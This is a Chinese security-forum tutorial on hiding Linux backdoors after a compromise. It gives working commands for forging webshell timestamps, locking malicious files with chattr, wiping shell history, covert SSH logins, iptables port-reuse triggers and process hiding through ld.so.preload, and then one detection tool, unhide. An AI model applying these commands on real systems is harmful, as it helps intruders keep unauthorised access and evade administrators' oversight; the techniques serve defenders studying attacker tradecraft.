【大白分享】渗透安全之Linux权限维持后门隐藏篇
  

山东_朱文鑫 2643

{{ttag.title}}
大家好,我是大白,只有珍惜时间的人,才能得到时间的慷慨。依旧感谢各位小伙伴的一路支持与陪伴。



*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!

今天分享大白的渗透安全之Linux权限维持后门隐藏篇,本篇依旧继续完成渗透安全篇章的Linux后门隐藏技巧相关信息,同样还是对于好多小伙伴来说,这个更加偏向于安服,总体来说确实更加偏向于安服但是对于安全知识的了解以及更加层次的学习甚至使用都比较重要,我们可以一同研习一下渗透攻防的“魅力”。




攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术相关信息。


Linux 下创建一个隐藏文件:


  1. touch .1.txt
复制代码


touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下图:




一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al


这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如


  1. /temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/
复制代码


隐藏文件时间戳

Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。

比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

利用方法

touch -r index.php webshell.php

或者直接将时间戳修改成某年某月某日。如下 2023 年 05 月 02 日。

touch -t 1682998223.30 webshell.php

隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多小伙伴感到头疼。

  1. chattr +i evil.php 锁定文件
  2. lsattr  evil.php   属性查看
  3. chattr -i evil.php 解除锁定
  4. rm -rf 1.evil.php  删除文件
复制代码



隐藏历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

  1. [space]set +o history
  2. 备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
复制代码

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

  1. [Space]set -o history
  2. 它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
复制代码

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

  1. history | grep "keyword"
复制代码

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

  1. history -d [num]
复制代码



这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:


  1. sed -i '150,$d' .bash_history
复制代码


隐藏远程SSH登陆记录

隐身登录系统,不会被w、who、last等指令检测到。

  1. ssh -T root@127.0.0.1 /bin/bash -i
复制代码

不记录ssh公钥在本地.ssh目录中

  1. ssh -o UserKnownHostsFile=/dev/null -T user[url=home.php?mod=space&uid=554601]@host[/url] /bin/bash –i
复制代码

端口复用

通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?

第一种方式:通过SSLH在同一端口上共享SSH与HTTPS

  1. #安装SSLH
  2. sudo apt-get install sslh
  3. #配置SSLH
  4. 编辑 SSLH 配置文件:
  5. sudo vi /etc/default/sslh
  6. 1、找到下列行:Run=no  将其修改为:Run=yes
  7. 2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
  8. DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
复制代码

第二种方式:利用IPTables进行端口复用

  1. # 端口复用链
  2. iptables -t nat -N LETMEIN
  3. # 端口复用规则
  4. iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
  5. # 开启开关
  6. iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
  7. # 关闭开关
  8. iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
  9. # let's do it
  10. iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
复制代码

利用方式:

  1. #开启复用
  2. echo threathuntercoming | socat - tcp:IP:端口
  3. #ssh使用80端口进行登录
  4. ssh -p 80 用户名@IP
  5. #关闭复用
  6. echo threathunterleaving | socat - tcp:1IP:端口
复制代码



进程隐藏

管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。

第一种方法:libprocesshider

利用 LD_PRELOAD 来实现系统函数的劫持,实现如下

  1. # 下载程序编译
  2. git clone https://github.com/gianlucaborello/libprocesshider.git
  3. cd libprocesshider/ && make
  4. # 移动文件到/usr/local/lib/目录下
  5. cp libprocesshider.so /usr/local/lib/
  6. # 把它加载到全局动态连接局
  7. echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
复制代码

测试:运行 evil_script.py



此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。




如何在Linux中发现隐藏的进程

unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。

  1. # 安装
  2. sudo yum install unhide
  3. # 使用
  4. unhide [options] test_list
复制代码

使用unhide proc发现隐藏进程evil_script.py,如下图所示:



*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取,网络不是法外之地!!!!


以上就是本次的渗透安全之Linux权限维持后门隐藏篇,一句忠告:业务备份一时不做一时爽,问题出现两行泪,感谢大佬们的参阅,此贴先到这里后续会带上更加实用的帖子,感谢大家!

励志分享超清壁纸语句~~:



青春像只唱着歌的鸟儿,已从残冬窗里闯出来,驶放宝蓝的穹窿里去了。——闻一多


好的今天就到这里,老样子,感谢各位大神的参阅,孩子为了挣豆子不容易,孩子家里穷没豆子吃饭了!!!

打赏鼓励作者,期待更多好文!

打赏
3人已打赏

新手716814 发表于 2023-7-22 08:04
  
感谢分享有助于工资和学习!
新手378833 发表于 2023-7-24 12:31
  
感谢分享有助于工资和学习!
dhf 发表于 2023-9-20 10:13
  
每日打卡学习,感谢分享,学习了!!!
新手626351 发表于 2023-10-16 09:30
  
学习到了,有助于工作!
新手716814 发表于 2023-11-2 16:56
  
感谢分享,有助于工作和学习
新手716814 发表于 2023-11-7 09:19
  
感谢楼主分享,学习一下
新手716814 发表于 2023-11-26 19:26
  
感谢楼主分享,努力学习中!!!
এ塔铃独语别黄昏এ 发表于 2024-5-26 19:30
  
楼主分享的案例很实用,具有典型性
发表新帖
热门标签
全部标签>
每日一问
2024年技术争霸赛
技术盲盒
干货满满
技术笔记
产品连连看
信服课堂视频
2023技术争霸赛专题
自助服务平台操作指引
每周精选
功能体验
技术咨询
GIF动图学习
新版本体验
秒懂零信任
标准化排查
信服圈儿
安全攻防
技术晨报
在线直播
通用技术
问题分析处理
每日一记
社区帮助指南
安装部署配置
运维工具
终端接入
天逸直播
以战代练
齐鲁TV
畅聊IT
答题自测
专家问答
技术圆桌
MVP
网络基础知识
升级
上网策略
测试报告
日志审计
流量管理
云计算知识
用户认证
原创分享
解决方案
sangfor周刊
VPN 对接
项目案例
SANGFOR资讯
专家分享
技术顾问
信服故事
SDP百科
功能咨询
授权
设备维护
资源访问
地址转换
虚拟机
存储
迁移
加速技术
排障笔记本
产品预警公告
玩转零信任
S豆商城资讯
技术争霸赛
「智能机器人」
追光者计划
深信服技术支持平台
答题榜单公布
纪元平台
卧龙计划
华北区拉练
山东区技术晨报
文档捉虫活动
华北区交付直播
北京区每日一练

本版达人

ggbang

本周建议达人

adds

本周提问达人